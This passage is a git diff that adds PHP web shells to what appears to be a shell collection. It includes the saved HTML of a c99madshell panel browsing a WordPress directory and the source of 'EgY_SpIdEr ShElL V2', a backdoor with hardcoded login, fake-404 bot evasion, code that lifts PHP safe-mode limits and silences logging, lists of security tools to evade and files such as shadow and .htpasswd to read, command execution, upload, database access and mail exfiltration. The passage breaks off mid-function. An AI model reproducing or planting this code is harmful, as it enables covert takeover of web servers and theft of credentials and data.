onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='wp-xmlrpc.php';document.todo.submit();">wp-xmlrpc.php</a></td> +<td>21.17 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-xmlrpc.php';document.todo.submit();">14.01.2010 10:59:48</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='wp-xmlrpc.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-xmlrpc.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='wp-xmlrpc.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='wp-xmlrpc.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox31" value="/var/www/html/wordpress/wp-xmlrpc.php"></td> +</tr> +<tr> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.ft.value='edit';document.todo.f.value='xmlrpc.php';document.todo.submit();">xmlrpc.php</a></td> +<td>91.21 KB</td> +<td><a href="#" onclick="document.todo.act.value='touch';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='xmlrpc.php';document.todo.submit();">04.11.2009 16:49:40</a></td> +<td>anatandannie/vuser</td> +<td>&nbsp;<a href="#" onclick="document.todo.act.value='chmod';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.f.value='xmlrpc.php';document.todo.submit();"><b><font color=green>-rw-r--r--</font></b></a></td> +<td><a href="#" onclick="document.todo.act.value='f';document.todo.f.value='xmlrpc.php';document.todo.ft.value='edit';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">E</a>&nbsp;<a href="#" onclick="document.todo.act.value='f';document.todo.f.value='xmlrpc.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">D</a>&nbsp;<a href="#" onclick="document.todo.act.value='delete';document.todo.f.value='xmlrpc.php';document.todo.ft.value='download';document.todo.d.value='%2Fvar%2Fwww%2Fhtml%2Fwordpress';document.todo.submit();">X</a>&nbsp;<input type="checkbox" name="actbox[]" id="actbox32" value="/var/www/html/wordpress/xmlrpc.php"></td> +</tr> +</table><hr size="1" noshade><p align="right"> + <script> + function ls_setcheckboxall(status) + { + var id = 0; + var num = 33; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 0; + var num = 33; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type="button" onclick="ls_setcheckboxall(1);" value="Select all">&nbsp;&nbsp;<input type="button" onclick="ls_setcheckboxall(0);" value="Unselect all"><b><select name=act><option value="ls">With selected:</option><option value=delete>Delete</option><option value=chmod>Change-mode</option></select>&nbsp;<input type=submit value="Confirm"></p></form></td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: Command execute ::</b></p></td></tr> +<tr><td width="50%" height="1" valign="top"><center><b>:: Enter ::</b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="/var/www/html/wordpress/"><input type="text" name="cmd" size="50" value=""><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>:: Select ::</b><form method="POST"><input type=hidden name=act value="cmd"><input type=hidden name="d" value="/var/www/html/wordpress/"><select name="cmd"><option value="ls -la">-----------------------------------------------------------</option><option value="find / -type f -name config.inc.php">find config.inc.php files</option><option value="find / -type f -name &quot;config*&quot;">find config* files</option><option value="find . -type f -name &quot;config*&quot;">find config* files in current dir</option><option value="find / -perm -2 -ls">find all writable folders and files</option><option value="find . -perm -2 -ls">find all writable folders and files in current dir</option><option value="find / -type f -name .bash_history">find all .bash_history files</option><option value="find . -type f -name .bash_history">find .bash_history files in current dir</option><option value="netstat -an | grep -i listen">show opened ports</option></select><input type=hidden name="cmd_txt" value="1">&nbsp;<input type=submit name=submit value="Execute"></form></td></tr></TABLE> +<br> +<TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1> +<tr> + <td width="50%" height="1" valign="top"><center><b>:: Search ::</b><form method="POST"><input type=hidden name=act value="search"><input type=hidden name="d" value="/var/www/html/wordpress/"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1" checked> - regexp&nbsp;<input type=submit name=submit value="Search"></form></center></p></td> + <td width="50%" height="1" valign="top"><center><b>:: Upload ::</b><form method="POST" name="tod" ENCTYPE="multipart/form-data"><input type=hidden name=act value="upload"><input type=hidden name="d" value="/var/www/html/wordpress/"><input type="file" name="uploadfile"><input type=submit name=submit value="Upload"><br><font color=green>[ ok ]</font></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="/var/www/html/wordpress/"><input type="text" name="mkdir" size="50" value="/var/www/html/wordpress/">&nbsp;<input type=submit value="Create"><br><font color=green>[ ok ]</font></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="/var/www/html/wordpress/"><input type="text" name="mkfile" size="50" value="/var/www/html/wordpress/"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><font color=green>[ ok ]</font></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form method="POST"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="/var/www/html/wordpress/">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form method="POST""><input type=hidden name=act value="gofile"><input type=hidden name="d" value="/var/www/html/wordpress/"><input type="text" name="f" size="50" value="/var/www/html/wordpress/">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99madshell v. 3.0 BLOG edition<a href="#" OnClick="document.todo.act.value='about';document.todo.submit();"><u> EDITED BY </b><b>MADNET</u></b> </a> ]--</b></p></td></tr></table> +</body></html> \ No newline at end of file diff --git a/php/PHPshell/【EgY_SpIdEr ShElL V2】/EgY_SpIdEr ShElL V2.php b/php/PHPshell/【EgY_SpIdEr ShElL V2】/EgY_SpIdEr ShElL V2.php new file mode 100644 index 0000000..39bd725 --- /dev/null +++ b/php/PHPshell/【EgY_SpIdEr ShElL V2】/EgY_SpIdEr ShElL V2.php @@ -0,0 +1,6146 @@ +<? +########################################### +# EgY_SpIdEr ShElL V2 # +# EgY_SpIdEr # +# www.egyspider.eu # +########################################### + +//Change User & Password + +$tacfgd['uname'] = 'smowu'; +$tacfgd['pword'] = 'smowu'; + + +// Title of page. +$tacfgd['title'] = 'EgY_SpIdEr ShElL'; + +// Text to appear just above login form. +$tacfgd['helptext'] = 'EgY SpIdEr ShElL'; + + +// Set to true to enable the optional remember-me feature, which stores encrypted login details to +// allow users to be logged-in automatically on their return. Turn off for a little extra security. +$tacfgd['allowrm'] = true; + +// If you have multiple protected pages, and there's more than one username / password combination, +// you need to group each combination under a distinct rmgroup so that the remember-me feature +// knows which login details to use. +$tacfgd['rmgroup'] = 'default'; + +// Set to true if you use your own sessions within your protected page, to stop txtAuth interfering. +// In this case, you _must_ call session_start() before you require() txtAuth. Logging out will not +// destroy the session, so that is left up to you. +$tacfgd['ownsessions'] = false; + + + + +foreach ($tacfgd as $key => $val) { + if (!isset($tacfg[$key])) $tacfg[$key] = $val; +} + +if (!$tacfg['ownsessions']) { + session_name('txtauth'); + session_start(); +} + +// Logout attempt made. Deletes any remember-me cookie as well +if (isset($_GET['logout']) || isset($_POST['logout'])) { + setcookie('txtauth_'.$rmgroup, '', time()-86400*14); + if (!$tacfg['ownsessions']) { + $_SESSION = array(); + session_destroy(); + } + else $_SESSION['txtauthin'] = false; +} +// Login attempt made +elseif (isset($_POST['login'])) { + if ($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword']) { + $_SESSION['txtauthin'] = true; + if ($_POST['rm']) { + // Set remember-me cookie for 2 weeks + setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()+86400*14); + } + } + else $err = 'Login Faild !'; +} +// Remember-me cookie exists +elseif (isset($_COOKIE['txtauth_'.$rmgroup])) { + if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] && $tacfg['allowrm']) { + $_SESSION['txtauthin'] = true; + } + else $err = 'Login Faild !'; +} +if (!$_SESSION['txtauthin']) { +@ini_restore("safe_mode"); +@ini_restore("open_basedir"); +@ini_restore("safe_mode_include_dir"); +@ini_restore("safe_mode_exec_dir"); +@ini_restore("disable_functions"); +@ini_restore("allow_url_fopen"); + +@ini_set('error_log',NULL); +@ini_set('log_errors',0); +?> +<html dir=rtl> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> +<title><?=$tacfg['title']?></title> + +<STYLE> + +BODY + { + SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456 +} + +tr { +BORDER-RIGHT: #dadada ; +BORDER-TOP: #dadada ; +BORDER-LEFT: #dadada ; +BORDER-BOTTOM: #dadada ; +color: #ffffff; +} +td { +BORDER-RIGHT: #dadada ; +BORDER-TOP: #dadada ; +BORDER-LEFT: #dadada ; +BORDER-BOTTOM: #dadada ; +color: #dadada; +} +.table1 { +BORDER: 1; +BACKGROUND-COLOR: #000000; +color: #333333; +} +.td1 { +BORDER: 1; +font: 7pt tahoma; +color: #ffffff; +} +.tr1 { +BORDER: 1; +color: #dadada; +} +table { +BORDER: #eeeeee outset; +BACKGROUND-COLOR: #000000; +color: #dadada; +} +input { +BORDER-RIGHT: #00FF00 1 solid; +BORDER-TOP: #00FF00 1 solid; +BORDER-LEFT: #00FF00 1 solid; +BORDER-BOTTOM: #00FF00 1 solid; +BACKGROUND-COLOR: #333333; +font: 9pt tahoma; +color: #ffffff; +} +select { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #000000; +font: 9pt tahoma; +color: #dadada;; +} +submit { +BORDER: buttonhighlight 1 outset; +BACKGROUND-COLOR: #272727; +width: 40%; +color: #dadada; +} +textarea { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #333333; +font: Fixedsys bold; +color: #ffffff; +} +BODY { +margin: 1; +color: #dadada; +background-color: #000000; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} + +</STYLE> +<script language=\'javascript\'> +function hide_div(id) +{ + document.getElementById(id).style.display = \'none\'; + document.cookie=id+\'=0;\'; +} +function show_div(id) +{ + document.getElementById(id).style.display = \'block\'; + document.cookie=id+\'=1;\'; +} +function change_divst(id) +{ + if (document.getElementById(id).style.display == \'none\') + show_div(id); + else + hide_div(id); +} +</script>'; + +<body> +<br><br><div style="font-size: 14pt;" align="center"><?=$tacfg['title']?></div> +<hr width="300" size="1" noshade color="#cdcdcd"> +<p> +<div align="center" class="grey"> +<?=$tacfg['helptext']?> +</div> +<p> +<? +if (isset($_SERVER['REQUEST_URI'])) $action = $_SERVER['REQUEST_URI']; +else $action = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING']; +if (strpos($action, 'logout=1', strpos($action, '?')) !== false) $action = str_replace('logout=1', '', $action); +?> +<form name="txtauth" action="<?=$action?>" method="post"> +<div align="center"> +<table border="0" cellpadding="4" cellspacing="0" bgcolor="#666666" style="border: 1px double #dedede;" dir="ltr"> +<?=(isset($err))?'<tr><td colspan="2" align="center"><font color="red">'.$err.'</font></td></tr>':''?> +<?if (isset($tacfg['uname'])) {?> +<tr><td>User:</td><td><input type="text" name="uname" value="" size="20" maxlength="100" class="txtbox"></td></tr> +<?}?> +<tr><td>Password:</td><td><input type="password" name="pword" value="" size="20" maxlength="100" class="txtbox"></td></tr> +<?if ($tacfg['allowrm']) {?> +<tr><td align="left"><input type="submit" name="login" value="Login"> +</td><td align="right"><input type="checkbox" name="rm" id="rm"><label for="rm"> + Remmeber Me?</label></td></tr> +<?} else {?> +<tr><td colspan="2" align="center"> + <input type="submit" name="login" value="Login"></td></tr> +<?}?> +</table> +</div> +</form> + +<br><br> +<hr width="300" size="1" noshade color="#cdcdcd"> +<div class="smalltxt" align="center">Developed by + <a href="mailto:egy_spider@hotmail.com">EgY SpIdEr </a>?copyright ? + & EgY SpIdEr</div> + +</body> +</html> +<? + // Don't delete this! + exit(); +} +?> +Login As (<font color="#FF0000"><? echo $tacfgd['uname']; ?></font>) <a href="?logout=1">Logout</a></p> +<div align="right"> +<?php + +if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");} + +$language='eng'; + +$auth = 0; + +$name='7d1f6442a9ed59e62f93dcbc2695baa6'; +$pass='7d1f6442a9ed59e62f93dcbc2695baa6'; + +//ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8 +@setlocale(LC_ALL,'ru_RU.cp1251'); + +@ini_restore("safe_mode"); +@ini_restore("open_basedir"); +@ini_restore("safe_mode_include_dir"); +@ini_restore("safe_mode_exec_dir"); +@ini_restore("disable_functions"); +@ini_restore("allow_url_fopen"); + +if(@function_exists('ini_set')) + { + @ini_set('error_log',NULL); + @ini_set('log_errors',0); + @ini_set('file_uploads',1); + @ini_set('allow_url_fopen',1); + } +else + { + @ini_alter('error_log',NULL); + @ini_alter('log_errors',0); + @ini_alter('file_uploads',1); + @ini_alter('allow_url_fopen',1); + } + +error_reporting(E_ALL); + +/* ??? ????? */ +$userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl'); +$danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',', clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',', shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',', logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',', ninja'); +$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/'); +$downloaders = array('wget','fetch','lynx','links','curl','get'); + +/* ??? ?????? ???????? ???? ????? realpath() */ +//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; +//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyz"; +//$chars_rlph = "_-.ABCDEFGHIJKLMNOPQRSTUVWXYZ"; +//$chars_rlph = "_-.abcdefghijklnmopqrstuvwxyz"; +//$chars_rlph = "_-.01234567890"; +$chars_rlph = "abcdefghijklnmopqrstuvwxyz"; + +$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php', +'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root', +'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs', +'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing'); + +/******************************************************************************************************/ + +define("starttime",@getmicrotime()); + +if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;}; + +set_magic_quotes_runtime(0); +@set_time_limit(0); +if(@function_exists('ini_set')) + { + @ini_set('max_execution_time',0); + @ini_set('output_buffering',0); + } +else + { + @ini_alter('max_execution_time',0); + @ini_alter('output_buffering',0); + } +$safe_mode = @ini_get('safe_mode'); +#if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;}; +$version = '1.42'; +if(@version_compare(@phpversion(), '4.1.0') == -1) + { + $_POST = &$HTTP_POST_VARS; + $_GET = &$HTTP_GET_VARS; + $_SERVER = &$HTTP_SERVER_VARS; + $_COOKIE = &$HTTP_COOKIE_VARS; + } +if (@get_magic_quotes_gpc()) + { + foreach ($_POST as $k=>$v) + { + $_POST[$k] = stripslashes($v); + } + foreach ($_COOKIE as $k=>$v) + { + $_COOKIE[$k] = stripslashes($v); + } + } + +if($auth == 1) { +if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass) + { + header('WWW-Authenticate: Basic realm="HELLO!"'); + header('HTTP/1.0 401 Unauthorized'); + exit("<h1>Access Denied</h1>"); + } +} + +if(!isset($_COOKIE['tempdir'],$_COOKIE['select_tempdir'])) { + $tempdir='./'; + $select_tempdir = '<select name=tempdir><option value="./">./</option>'; + foreach( $tempdirs as $item) { + if(@is_writable($item)){$select_tempdir .= '<option value="'.$item.'">'.$item.'</option>';$tempdir=$item;} + } + $select_tempdir .= '</select>'; +}else{ + if(isset($_POST['tempdir'])){$tempdir = $_POST['tempdir'];}else{$tempdir = $_COOKIE['tempdir'];} + $select_tempdir = $_COOKIE['select_tempdir']; +} + +$head = '<!-- EgY_SpIdEr --> +<html> +<head> +<meta http-equiv="Content-Language" content="ar-sa"> +<meta name="GENERATOR" content="Microsoft FrontPage 6.0"> +<meta name="ProgId" content="FrontPage.Editor.Document"> +<meta http-equiv="Content-Type" content="text/html; charset=windows-1256"> +<title>EgY_SpIdEr ShElL</title> + + + +<STYLE> + +BODY + { + SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456 +} + +tr { +BORDER-RIGHT: #333333 ; +BORDER-TOP: #333333 ; +BORDER-LEFT: #333333 ; +BORDER-BOTTOM: #333333 ; +color: #FFFFFF; +} +td { +BORDER-RIGHT: #333333 ; +BORDER-TOP: #333333 ; +BORDER-LEFT: #333333 ; +BORDER-BOTTOM: #333333 ; +color: #FFFFFF; +} +.table1 { +BORDER: 1; +BACKGROUND-COLOR: #000000; +color: #333333; +} +.td1 { +BORDER: 1; +font: 7pt tahoma; +color: #ffffff; +} +.tr1 { +BORDER: 1; +color: #333333; +} +table { +BORDER: #eeeeee outset; +BACKGROUND-COLOR: #000000; +color: #333333; +} +input { +BORDER-RIGHT: #00FF00 1 solid; +BORDER-TOP: #00FF00 1 solid; +BORDER-LEFT: #00FF00 1 solid; +BORDER-BOTTOM: #00FF00 1 solid; +BACKGROUND-COLOR: #333333; +font: 9pt tahoma; +color: #ffffff; +} +select { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #000000; +font: 9pt tahoma; +color: #333333;; +} +submit { +BORDER: buttonhighlight 1 outset; +BACKGROUND-COLOR: #272727; +width: 40%; +color: #333333; +} +textarea { +BORDER-RIGHT: #ffffff 1 solid; +BORDER-TOP: #999999 1 solid; +BORDER-LEFT: #999999 1 solid; +BORDER-BOTTOM: #ffffff 1 solid; +BACKGROUND-COLOR: #333333; +font: Fixedsys bold; +color: #ffffff; +} +BODY { +margin: 1; +color: #333333; +background-color: #000000; +} +A:link {COLOR:red; TEXT-DECORATION: none} +A:visited { COLOR:red; TEXT-DECORATION: none} +A:active {COLOR:red; TEXT-DECORATION: none} +A:hover {color:blue;TEXT-DECORATION: none} + +</STYLE> +<script language=\'javascript\'> +function hide_div(id) +{ + document.getElementById(id).style.display = \'none\'; + document.cookie=id+\'=0;\'; +} +function show_div(id) +{ + document.getElementById(id).style.display = \'block\'; + document.cookie=id+\'=1;\'; +} +function change_divst(id) +{ + if (document.getElementById(id).style.display == \'none\') + show_div(id); + else + hide_div(id); +} +</script>'; +class zipfile +{ + var $datasec = array(); + var $ctrl_dir = array(); + var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; + var $old_offset = 0; + function unix2DosTime($unixtime = 0) { + $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); + if ($timearray['year'] < 1980) { + $timearray['year'] = 1980; + $timearray['mon'] = 1; + $timearray['mday'] = 1; + $timearray['hours'] = 0; + $timearray['minutes'] = 0; + $timearray['seconds'] = 0; + } + return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | + ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); + } + function addFile($data, $name, $time = 0) + { + $name = str_replace('\\', '/', $name); + $dtime = dechex($this->unix2DosTime($time)); + $hexdtime = '\x' . $dtime[6] . $dtime[7] + . '\x' . $dtime[4] . $dtime[5] + . '\x' . $dtime[2] . $dtime[3] + . '\x' . $dtime[0] . $dtime[1]; + eval('$hexdtime = "' . $hexdtime . '";'); + $fr = "\x50\x4b\x03\x04"; + $fr .= "\x14\x00"; + $fr .= "\x00\x00"; + $fr .= "\x08\x00"; + $fr .= $hexdtime; + $unc_len = strlen($data); + $crc = crc32($data); + $zdata = gzcompress($data); + $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2); + $c_len = strlen($zdata); + $fr .= pack('V', $crc); + $fr .= pack('V', $c_len); + $fr .= pack('V', $unc_len); + $fr .= pack('v', strlen($name)); + $fr .= pack('v', 0); + $fr .= $name; + $fr .= $zdata; + $this -> datasec[] = $fr; + $cdrec = "\x50\x4b\x01\x02"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x14\x00"; + $cdrec .= "\x00\x00"; + $cdrec .= "\x08\x00"; + $cdrec .= $hexdtime; + $cdrec .= pack('V', $crc); + $cdrec .= pack('V', $c_len); + $cdrec .= pack('V', $unc_len); + $cdrec .= pack('v', strlen($name) ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('v', 0 ); + $cdrec .= pack('V', 32 ); + $cdrec .= pack('V', $this -> old_offset ); + $this -> old_offset += strlen($fr); + $cdrec .= $name; + $this -> ctrl_dir[] = $cdrec; + } + function file() + { + $data = implode('', $this -> datasec); + $ctrldir = implode('', $this -> ctrl_dir); + return + $data . + $ctrldir . + $this -> eof_ctrl_dir . + pack('v', sizeof($this -> ctrl_dir)) . + pack('v', sizeof($this -> ctrl_dir)) . + pack('V', strlen($ctrldir)) . + pack('V', strlen($data)) . + "\x00\x00"; + } +} + +function compress(&$filename,&$filedump,$compress) + { + global $content_encoding; + global $mime_type; + if ($compress == 'bzip' && @function_exists('bzcompress')) + { + $filename .= '.bz2'; + $mime_type = 'application/x-bzip2'; + $filedump = bzcompress($filedump); + } + else if ($compress == 'gzip' && @function_exists('gzencode')) + { + $filename .= '.gz'; + $content_encoding = 'x-gzip'; + $mime_type = 'application/x-gzip'; + $filedump = gzencode($filedump); + } + else if ($compress == 'zip' && @function_exists('gzcompress')) + { + $filename .= '.zip'; + $mime_type = 'application/zip'; + $zipfile = new zipfile(); + $zipfile -> addFile($filedump, substr($filename, 0, -4)); + $filedump = $zipfile -> file(); + } + else + { + $mime_type = 'application/octet-stream'; + } + } + +function moreread($temp){ +global $lang,$language; +$str=''; + if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('feof')&&@function_exists('fclose') && ($ffile = @fopen($temp, "r"))){ + if($ffile){ + while(!@feof($ffile)){$str .= @fgets($ffile);}; + fclose($ffile); + } + }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')&&($ffile = @fopen($temp, "r"))){ + if($ffile){ + $str = @fread($ffile, @filesize($temp)); + @fclose($ffile); + } + }elseif(@function_exists('file')&&($ffiles = @file($temp))){ + foreach ($ffiles as $ffile) { $str .= $ffile; } + }elseif(@function_exists('file_get_contents')){ + $str = @file_get_contents($temp); + }elseif(@function_exists('readfile')){ + $str = @readfile($temp); + }elseif(@function_exists('highlight_file')){ + $str = @highlight_file($temp); + }elseif(@function_exists('show_source')){ + $str = @show_source($temp); + }else{echo $lang[$language.'_text56'];} +return $str; +} + +function readzlib($filename,$temp=''){ +global $lang,$language; +$str=''; + if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");}; + if(@copy("compress.zlib://".$filename, $temp)) { + $str = moreread($temp); + } else echo $lang[$language.'_text119']; + @unlink($temp); +return $str; +} + +function morewrite($temp,$str='') +{ +global $lang,$language; + if(@function_exists('fopen') && @function_exists('fwrite') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){ + if($ffile){ + @fwrite($ffile,$str); + @fclose($ffile); + } + }elseif(@function_exists('fopen') && @function_exists('fputs') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){ + if($ffile){ + @fputs($ffile,$str); + @fclose($ffile); + } + }elseif(@function_exists('file_put_contents')){ + @file_put_contents($temp,$str); + }else return 0; +return 1; +} + +function mailattach($to,$from,$subj,$attach) + { + $headers = "From: $from\r\n"; + $headers .= "MIME-Version: 1.0\r\n"; + $headers .= "Content-Type: ".$attach['type']; + $headers .= "; name=\"".$attach['name']."\"\r\n"; + $headers .= "Content-Transfer-Encoding: base64\r\n\r\n"; + $headers .= chunk_split(base64_encode($attach['content']))."\r\n"; + if(mail($to,$subj,"",$headers)) { return 1; } + return 0; + } +class my_sql + { + var $host = 'localhost'; + var $port = ''; + var $user = ''; + var $pass = ''; + var $base = ''; + var $db = ''; + var $connection; + var $res; + var $error; + var $rows; + var $columns; + var $num_rows; + var $num_fields; + var $dump; + + function connect() + { + switch($this->db) + { + case 'MySQL': + if(empty($this->port)) { $this->port = '3306'; } + if(!@function_exists('mysql_connect')) return 0; + $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'MSSQL': + if(empty($this->port)) { $this->port = '1433'; } + if(!@function_exists('mssql_connect')) return 0; + $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass); + if($this->connection) return 1; + break; + case 'PostgreSQL': + if(empty($this->port)) { $this->port = '5432'; } + $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'"; + if(!@function_exists('pg_connect')) return 0; + $this->connection = @pg_connect($str); + if(is_resource($this->connection)) return 1; + break; + case 'Oracle': + if(!@function_exists('ocilogon')) return 0; + $this->connection = @ocilogon($this->user, $this->pass, $this->base); + if(is_resource($this->connection)) return 1; + break; + case 'MySQLi': + if(empty($this->port)) { $this->port = '3306'; } + if(!@function_exists('mysqli_connect')) return 0; + $this->connection = @mysqli_connect($this->host,$this->user,$this->pass,$this->base,$this->port); + if(is_resource($this->connection)) return 1; + break; + case 'mSQL': + if(!@function_exists('msql_connect')) return 0; + $this->connection = @msql_connect($this->host.':'.$this->port,$this->user,$this->pass); + if(is_resource($this->connection)) return 1; + break; + case 'SQLite': + if(!@function_exists('sqlite_open')) return 0; + $this->connection = 